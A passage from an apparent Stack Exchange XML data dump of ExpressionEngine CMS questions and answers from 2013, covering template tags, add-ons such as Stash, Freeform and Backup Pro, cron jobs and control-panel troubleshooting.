name=&quot;publications_{categories limit='1'}{category_id}{/categories}&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;  {/exp:stash:append}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:categories channel=&quot;publications&quot; style=&quot;linear&quot; disable=&quot;category_fields&quot; show_empty=&quot;no&quot; parent_only=&quot;yes&quot;}&#xA;  &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;  {exp:stash:get name=&quot;publications_{category_id}&quot;}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to build out a entry list organized by category where you can set a limit of entries to show per category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have Auto-Assign to Category Parents marked yes.&#xA;I've disabled extensions one at a time to see if one was causing any issues, found nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;I do realize that putting limit on channel tag would limit it to 5 entries no matter their categories.  Looking to limit it to 5 entries per category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="31" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-09-20T16:45:47.017" Title="Limit Entries per Category" Tags="|categories|stash|mx-jumper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13949" PostTypeId="2" ParentId="13948" CreationDate="2013-09-20T16:45:47.017" Score="0" Body="&lt;p&gt;Try flipping your code around like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;publications&quot; dynamic=&quot;no&quot;  disable=&quot;category_fields|member_data|pagination&quot;}&#xA;    {categories}&#xA;        {exp:stash:append_list name=&quot;publications_{category_id}&quot;}&#xA;            {stash:title}{title}{/stash:title}&#xA;        {/exp:stash:append_list}&#xA;    {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;publications&quot; style=&quot;linear&quot; disable=&quot;category_fields&quot; show_empty=&quot;no&quot; parent_only=&quot;yes&quot;}&#xA;    &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:stash:get_list name=&quot;publications_{category_id}&quot; limit=&quot;5&quot;}&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        {/exp:stash:get_list}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-09-20T16:45:47.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13950" PostTypeId="1" AcceptedAnswerId="14045" CreationDate="2013-09-20T17:00:26.180" Score="1" ViewCount="320" Body="&lt;p&gt;I'm a newbie to Backup Pro / Backup Pro(ish), and also to Cron jobs, and was hoping someone could help as this is happening on every site I've tried to set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Backup Pro(ish) installed on a site now (I'm hosting with A Small Orange).  If I go and click on the Backup Database tab, everything works great and a backup is created in the correct folder (above root).  If I use the URL given to me under the &quot;Cron Commands&quot;, it will create a backup.  However, my Cron jobs are not creating backups.  To create the Cron job, I went in and selected the frequency to create them, then pasted the full command (wget ?ACT=xx&amp;amp;type=db) into the command line.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It runs, as I get an email.  Here is the message that I get (IP and correct URL are removed)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--2013-09-20 12:00:01--  &amp;lt;MYSITE&amp;gt;?ACT=xx Resolving &amp;lt;MYSITE&amp;gt;... xxx.xxx.xx.xxx Connecting to &amp;lt;MYSITE&amp;gt;|xxx.xxx.xx.xxx|:80... connected.&#xA;HTTP request sent, awaiting response... 200 OK&#xA;Length: 0 [text/html]&#xA;Saving to: `index.html?ACT=xx.5'&#xA;&#xA;     0K                                                        0.00 =0s&#xA;&#xA;2013-09-20 12:00:02 (0.00 B/s) - `index.html?ACT=xx.5' saved [0/0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any other suggestions on what to look at?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-09-25T04:25:20.407" Title="Backup Pro(ish) and Cron Job" Tags="|cron|backup|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13951" PostTypeId="1" AcceptedAnswerId="13952" CreationDate="2013-09-20T17:11:44.357" Score="1" ViewCount="140" Body="&lt;p&gt;I need to track revisions for some docs and I am displaying the original creation author and date via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;Created: {entry_date format=&quot;%m/%d/%Y&quot;}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Author: {author}&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to display the latest edit date and author too. I am pretty certain this would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;Last Edit: {edit_date format=&quot;%m/%d/%Y&quot;}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Author: {author}&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just don't know of a last editing/revision author tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that available?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-09-20T17:36:19.973" Title="Simple question... Can you display the latest revision author?" Tags="|ee2|author|edit-date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13952" PostTypeId="2" ParentId="13951" CreationDate="2013-09-20T17:36:19.973" Score="2" Body="&lt;p&gt;There isn't any tag available for entry revision. You can do it with following code example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;CHANNEL NAME&quot; ...........}&#xA;&#xA;    &amp;lt;li&amp;gt;Created: {entry_date format=&quot;%m/%d/%Y&quot;}&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;Author: {author}&amp;lt;/li&amp;gt;&#xA;&#xA;    {exp:query sql=&quot;SELECT exp_members.screen_name AS revision_author, exp_entry_versioning.version_date FROM exp_entry_versioning JOIN exp_members ON exp_entry_versioning.author_id=exp_members.member_id WHERE entry_id='{entry_id}' ORDER BY version_date DESC LIMIT 1&quot;}&#xA;&#xA;        &amp;lt;li&amp;gt;Last Edit: {version_date format=&quot;%m/%d/%Y&quot;}&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;Author: {revision_author}&amp;lt;/li&amp;gt;&#xA;&#xA;    {/exp:query}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-20T17:36:19.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13953" PostTypeId="1" CreationDate="2013-09-20T17:42:27.007" Score="1" ViewCount="39" Body="&lt;p&gt;Take checkout 2 and checkout 3 as example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I send data from checkout2 to checkout3, for some reason, the checkout3, not able to retrieve its data. I have inspected element of checkout2 , all the input fields are in a form, which created by the checkout Tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I am using EE 2.6 and Store 1.6.5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1908" LastActivityDate="2013-09-20T17:42:27.007" Title="Not able to send Data to next check out page" Tags="|expresso-store|" AnswerCount="0" CommentCount="1" ClosedDate="2013-11-01T21:54:29.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="13954" PostTypeId="2" ParentId="13945" CreationDate="2013-09-20T18:59:53.357" Score="0" Body="&lt;p&gt;Sounds like either an issue with field names not being correct or a parsing issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rule out incorrect names triple check everything or start with fresh code.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To check parsing, add &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; first to the &lt;code&gt;{exp:low_variables:pair}&lt;/code&gt; tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, remove it and add to &lt;code&gt;{exp:ce_img:pair}&lt;/code&gt; tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, try adding to both.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-09-20T18:59:53.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13955" PostTypeId="2" ParentId="13947" CreationDate="2013-09-20T19:06:44.383" Score="0" Body="&lt;p&gt;Try adding &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;dynamic=&quot;no&quot;&lt;/a&gt;&lt;/strong&gt; to your {exp:channel:entries} tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;gallery&quot; entry_id=&quot;18&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HERE'S INFO FROM THE DOCS&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;strong&gt;&lt;em&gt;channel display engine sets some parameters dynamically, based on&#xA;  what is in the URL&lt;/em&gt;&lt;/strong&gt;. There are times, however, where you do not want&#xA;  the parameters affected by what the URL contains. To override the&#xA;  dynamic nature of the channel tag, use dynamic=&quot;no&quot;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is often useful if you want to list entries in a “sidebar” on&#xA;  your site and have them always be the same ones regardless of which&#xA;  page on your site you visit (main page, archives, comments, etc.). By&#xA;  setting dynamic=&quot;no&quot; you will ensure that the list is not affected by&#xA;  anything passed in the URL.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, you do not need these parameters (enable=&quot;custom_fields&quot; parse=&quot;inward&quot;) on your channel:entries tag. They are not valid... here is a list of &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#parameters&quot; rel=&quot;nofollow&quot;&gt;valid parameters&lt;/a&gt; for the channel:entries tag.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-09-20T23:56:52.923" LastActivityDate="2013-09-20T23:56:52.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13956" PostTypeId="1" AcceptedAnswerId="13975" CreationDate="2013-09-20T19:20:16.017" Score="2" ViewCount="105" Body="&lt;p&gt;I'm trying to make a single Notification template for a general auto-response to several forms and would like to include the form's title in the subject line and body. To be sure, this is not {form_name}. I hoped {nonfield_title} would do the trick, but it does not output the title as it does on the live page. Any tips?&lt;/p&gt;&#xA;" OwnerUserId="2037" LastActivityDate="2013-09-22T17:13:17.020" Title="Include Form Title in Freeform Notification" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13957" PostTypeId="2" ParentId="13945" CreationDate="2013-09-20T19:58:46.927" Score="3" Body="&lt;p&gt;Okay, first, &lt;strong&gt;turn off&lt;/strong&gt; early parsing for the &lt;code&gt;myassetsimage&lt;/code&gt; variable. Then try and use Asset's &lt;code&gt;{url}&lt;/code&gt; variable (&lt;a href=&quot;http://docs.pixelandtonic.com/assets/templating/field.html#variable-tags&quot; rel=&quot;nofollow&quot;&gt;see docs&lt;/a&gt;) in CI Img's src-parameter instead of the Low Variables name. That means that your code would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;myassetsimage&quot;}&#xA;  {exp:ce_img:pair src=&quot;{url}&quot; width=&quot;640&quot; height=&quot;400&quot; class=&quot;img-polaroid&quot; alt=&quot;&quot;}&#xA;    &amp;lt;img data-original=&quot;{made_url}&quot; src=&quot;{site_url}layout/img/pic-blank-1.gif&quot;&amp;gt;&#xA;  {/exp:ce_img:pair}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-09-20T19:58:46.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13958" PostTypeId="1" AcceptedAnswerId="13961" CreationDate="2013-09-20T21:03:26.207" Score="3" ViewCount="109" Body="&lt;p&gt;I have a client that's using Freeform 3.0.6 with EE 2.5.2 with multiple forms on their site.  The issue they're having is that when they login to thru the EE control panel to view the form submissions, certain fields are blank, and actually shouldn't even be in the current view.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm wondering is, how do I remove these superfluous fields from the view? Please see the attachments to illustrate what I'm talking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PvsOJ.png&quot; alt=&quot;client clicks edit to view form submitted data&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kh8Xm.png&quot; alt=&quot;would like to remove these superfluous fields&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1824" LastActivityDate="2013-09-27T16:57:12.303" Title="Unable to remove Freeform fields from entries in control panel" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13959" PostTypeId="2" ParentId="13935" CreationDate="2013-09-20T21:59:32.067" Score="1" Body="&lt;p&gt;&lt;strong&gt;EDIT: I've re-read your question and can see that my answer doesn't really apply since you're looking to display the categories in the Files Entries list. Something like Zenbu could do this - but Zenbu only works with the entries module&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it is possible to assign categories to uploaded files in this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must assign a category group to the upload directory, then when you upload the file you can edit it and apply category and other meta information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for accessing the categories, you can access them via the Files module using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/file/file_tag.html&quot; rel=&quot;nofollow&quot;&gt;{exp:files:entries}&lt;/a&gt; tag pair. I'm not sure if it is possible to access the category data if using another module or add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used this technique here &lt;a href=&quot;http://www.haigh.co.uk/resources&quot; rel=&quot;nofollow&quot;&gt;http://www.haigh.co.uk/resources&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each 'resource' is just a file upload. The template uses the {exp:files:entries} tag pair to output information about each file, including the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The categories are used to publish files on a number of microsites managed within the same MSM installation as that site.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-09-21T09:57:31.200" LastActivityDate="2013-09-21T09:57:31.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13960" PostTypeId="2" ParentId="13956" CreationDate="2013-09-20T22:11:14.543" Score="2" Body="&lt;p&gt;It's not clear from your question whether you are putting this information into the form or the notification template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a hidden input field in your form containing the information you want. You can then include this custom field in your notification template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could pass that information to the form via an embed parameter, hardcode it or use the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form_info/&quot; rel=&quot;nofollow&quot;&gt;{form_info}&lt;/a&gt; tag pair to output information that can be included in your notification.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-09-20T22:11:14.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13961" PostTypeId="2" ParentId="13958" CreationDate="2013-09-21T00:10:53.300" Score="1" Body="&lt;p&gt;In Freeform v3 you aren't able to hide unused fields from the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this in &lt;a href=&quot;http://www.solspace.com/docs/freeform/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Freeform v4&lt;/strong&gt;&lt;/a&gt; though which has a completely different work flow for forms and data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upgrade from v3.x to v4.x can be involved. Here are &lt;a href=&quot;http://www.solspace.com/docs/freeform/upgrade_3.x-4.x/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;instructions from Solspace&lt;/strong&gt;&lt;/a&gt; to help with an upgrade if you go that route. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Backup files &amp;amp; DB before upgrading... This is a big upgrade.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-09-27T16:57:12.303" LastActivityDate="2013-09-27T16:57:12.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13962" PostTypeId="2" ParentId="13950" CreationDate="2013-09-21T00:13:06.390" Score="1" Body="&lt;p&gt;I haven't used this addon before but I see &lt;strong&gt;index.html&lt;/strong&gt; in the email... shouldn't this be &lt;strong&gt;index.php&lt;/strong&gt; to hit EE?&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-09-21T00:13:06.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13963" PostTypeId="1" CreationDate="2013-09-21T06:34:42.360" Score="0" ViewCount="117" Body="&lt;p&gt;I recently moved my ee installation to another server and everything seems ok except for this issue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i go on modules page i see white screen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody help me please? Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-09-21T09:45:46.163" Title="EE 1.7.0 and white screen on modules page" Tags="|blank-screen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13964" PostTypeId="2" ParentId="13963" CreationDate="2013-09-21T09:45:46.163" Score="2" Body="&lt;p&gt;Solved: was a fieldframe path issue&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-09-21T09:45:46.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13965" PostTypeId="1" AcceptedAnswerId="13967" CreationDate="2013-09-21T09:54:33.220" Score="1" ViewCount="76" Body="&lt;p&gt;I'm currently developing a multilingual site that uses Solspace Calendar as a calendering tool. Since it is multilingual, I will need to 'translate' the outputted days to either dutch, french or english. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the locale is english, it outputs this by default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using Hippo's Time/Date converter - and it's correctly called within the {occurrences} tags but the output within those tags are formatted in a way that the Hippo plugin doesn't understand them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone aware of way to format the output of Caledar to a unixtimestamp?&lt;/p&gt;&#xA;" OwnerUserId="2086" LastActivityDate="2013-09-21T13:46:23.247" Title="Is there a way for format the Solspace Calendar dates in UnixTimestamp?" Tags="|solspace|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13966" PostTypeId="1" AcceptedAnswerId="13970" CreationDate="2013-09-21T13:19:37.590" Score="1" ViewCount="183" Body="&lt;p&gt;I've upgraded EE to 2.7.0 which comes with the new Channel From (Previously SafeCracker!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I did this all the class &amp;amp; ID's I had on the forms previously have stopped working - they don't show on the form output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One in particular is the Zoo Visitor Register form, which I'm guessing is doing the same thing due to it running through Channel Form as well. My opening tag for this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:registration_form return=&quot;{site_url}&quot; id=&quot;form-account&quot; class=&quot;form-register&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;zoo_visitor_form&quot; method=&quot;post&quot; action=&quot;http://website/index.php&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Huh?! No Class &amp;amp; the ID is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-09-21T18:52:27.963" Title="Channel Form / Zoo Visitor Class &amp; ID Problem" Tags="|safecracker|zoo-visitor|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13967" PostTypeId="2" ParentId="13965" CreationDate="2013-09-21T13:46:23.247" Score="2" Body="&lt;p&gt;Why not to use &lt;code&gt;format=&quot;%U&quot;&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the documentation of Solspace Calendar:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In addition to standard EE date formatting, Calendar supports[...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&quot; rel=&quot;nofollow&quot;&gt;documentation of EECMS&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;%U: seconds since the epoch&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-09-21T13:46:23.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13969" PostTypeId="2" ParentId="13844" CreationDate="2013-09-21T16:40:41.347" Score="5" Body="&lt;p&gt;I would suggest building a simple API module within the EE installation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've found the Auth library which should do exactly what you need, it's just a matter of exposing it, because there really isn't an easy way to take EE's authentication scheme out of EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So once you create a module, it'd simply be a matter of setting up an action ID within the module and having it accept the username and password via POST. Then you can have it return in whatever format you like (JSON, XML, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your new CMS can then use CURL to connect to the API you've created.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-21T16:40:41.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13970" PostTypeId="2" ParentId="13966" CreationDate="2013-09-21T18:52:27.963" Score="0" Body="&lt;p&gt;This might be part of a known issue: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19707&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19707&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See if the suggested solution for 2.7.0 works: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a quick fix, open system/expressionengine/modules/channel/libraries/channel_form/Channel_form_lib.php and find this code on line 754:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'class' =&amp;gt; ee()-&amp;gt;TMPL-&amp;gt;form_class,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And REPLACE it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'class' =&amp;gt; ee()-&amp;gt;TMPL-&amp;gt;fetch_param('class'),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-09-21T18:52:27.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13971" PostTypeId="1" AcceptedAnswerId="14046" CreationDate="2013-09-21T19:09:02.623" Score="0" ViewCount="73" Body="&lt;p&gt;In EE 2.7.0 I'm now getting &quot;File cells don't work within SafeCracker. Use SafeCracker File instead&quot; messages within Matrix cells that formerly used SafeCracker File as fieldtype and have now been changed to File. Same is happening with tests of new entries of File field type used in Matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is happening on the front end using Channel Form, and safecracker_file module has been removed.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-09-25T07:33:20.797" Title="File fieldtype in Matrix error: &quot;File cells don’t work within SafeCracker...&quot;" Tags="|matrix|safecracker|safecracker-file|files|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13972" PostTypeId="2" ParentId="13869" CreationDate="2013-09-22T00:41:04.590" Score="1" Body="&lt;p&gt;There are lots of ways of building out an MSM site as you describe, but that's not really the point of SE. If you have troubles building this then post specific questions on the issues at hand here and we'll gladly help you out. If you share your templates across {embed=&quot;default_site:_inc/_header&quot;} that is where you'll want to start. Then when you create a new &quot;site&quot; with MSM then you'll need to copy over the templates over. Start with one and go from there and once you get that worked out then post additional questions from there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to study the MSM documentation here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/sites/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also Boyink has a helpful tutorial here as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials/comments/splitting-a-site-out-of-an-ee-msm-installation&quot; rel=&quot;nofollow&quot;&gt;http://www.train-ee.com/courseware/free-tutorials/comments/splitting-a-site-out-of-an-ee-msm-installation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-09-22T00:41:04.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13973" PostTypeId="1" CreationDate="2013-09-22T12:57:46.930" Score="3" ViewCount="135" Body="&lt;p&gt;Using Solspace SuperSearch in ExpressionEngine site works OK on test site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When running behind the network firewalls and load-balancing systems produces&#xA;&quot;You are not allowed to search.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form POSTS, but then does not redirect onto the results page.&#xA;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2088" LastActivityDate="2013-10-26T02:21:35.693" Title="Solspace SuperSearch giving 'You are not allowed to search' on live site" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13974" PostTypeId="1" CreationDate="2013-09-22T16:08:03.550" Score="1" ViewCount="123" Body="&lt;p&gt;I have transfered a site to a new server and at the same time incorporated Focus Labs Master Config approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, since the site is running on the new server the CP loads really slow sometimes. It feels kinda like the URL is not being resolved correctly: link is being clicked, loading starts, it hangs, then new page &quot;pops&quot; up and loads normally. I hope you get the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until today I couldn't really find a pattern to this behaviour. Most of the time it works as expected but then once again I get this lag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I am not saying that it must have anything to do with the new server or the Master Config. Those are just the two biggest changes I made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I activated the EE Debug Toolbar 2 days ago and just got one of those lags after clicking on Template Manager. That's what it looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/08MMx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After clicking on the 5th tab (with the 11.0590s) this is what's in there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QPc2a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go back to Home and click Template Manager again I get a load time of 0.1978s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really know how to interpret the above values from the Debug Toolbar. Does somebody know or see what causes these lags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marc&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditDate="2013-09-22T16:14:45.560" LastActivityDate="2013-09-22T21:33:23.997" Title="CP loads slow once in a while" Tags="|control-panel|debugging|loading-time|toolbar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
